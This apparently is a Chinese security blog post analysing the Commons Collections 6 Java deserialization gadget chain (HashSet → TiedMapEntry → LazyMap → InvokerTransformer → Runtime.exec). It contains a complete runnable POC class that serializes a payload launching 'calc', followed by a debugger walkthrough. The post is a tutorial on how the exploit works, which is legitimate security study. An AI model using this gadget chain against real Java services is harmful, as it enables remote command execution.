Java安全之Commons Collections6分析
Java安全之Commons Collections6分析
0x00 前言
其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet
去触发LazyMap
的get方法。而在CC5中使用的是BadAttributeValueExpException
。
0x01 POC分析
这里还是去简化一下POC代码,因为ysoserial
做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。
package com.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
objectInputStream.readObject();
}
}
以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。
能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。
Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
这段代码也是在构造CC5链中出现的,将map
和LazyMap
,调用get方法就会调用transform
方法。而这里是再使用了TiedMapEntry
类去将LazyMap
实例化对象传入进去。调用到TiedMapEntry
的getValue
就会在getValue
内部去调用get方法。
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
这一步里使用的是HashSet
来进行构造,将前面的TiedMapEntry
实例化对象添加进去。后面还调用了lazyMap.remove
方法将test1
给移除,这是因为在执行的时候如果没使用lazyMap.remove
将test1
给移除掉将不会进入到该判断语句里面去。
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);
上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)
这一段代码。
0x02 POC调试
在readObject
复写点打个断点进行调试,也就是Hashset
的readObject
。
在Hashset
的readObject
方法中,回去调用map
的put
方法。这里的map为Hashmap
的对象,所以这里调用的是Hashmap
的put
方法,跟进一下该方法。
而在这一步又会去调用hash
方法并且传入key
作为参数。还需要再跟进一下hash
方法。
跟进到方法里面会发现,方法内部还会去调用key
的hashcode
,而这里的key
为TiedMapEntry
的实例化对象。调用的则是TiedMapEntry
的hashcode
。跟进一下hashcode
方法。
在此处就可以看到hashcode
还会去调用getValue
方法,下面的内容其实就和CC5的利用链一样了。
来到getValue
看看
这里就会去调用this.map.get()
方法,this.map
是LazyMap
的实例化对象。使用的是下面这段POC代码对this.map
进行赋值。
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
为了更清晰整一条利用链,再跟进一下LazyMap
的get方法。
这里在前面提到过,需要lazyMap.remove
方法移除前面填入的KEY
才能够进行到该if判断语句里面去执行transform
方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。
其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。
利用链
HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec
0x03 结尾
本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。